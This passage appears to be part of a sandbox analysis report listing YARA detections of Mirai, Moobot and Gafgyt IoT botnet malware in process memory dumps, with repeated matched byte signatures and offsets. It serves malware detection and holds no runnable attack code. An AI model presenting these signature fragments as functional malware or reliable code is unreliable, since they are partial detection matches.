39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6862.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6397.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6397.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6397.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6397.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6397.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6397.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6500.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6500.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6500.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6500.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6500.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6500.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6279.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6254.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6941.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6941.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6941.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6941.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6941.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6941.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6965.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6553.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6553.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6553.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6553.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6553.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6553.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6816.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6816.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6816.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6816.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6816.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6816.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6753.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6753.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6753.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6753.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6753.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 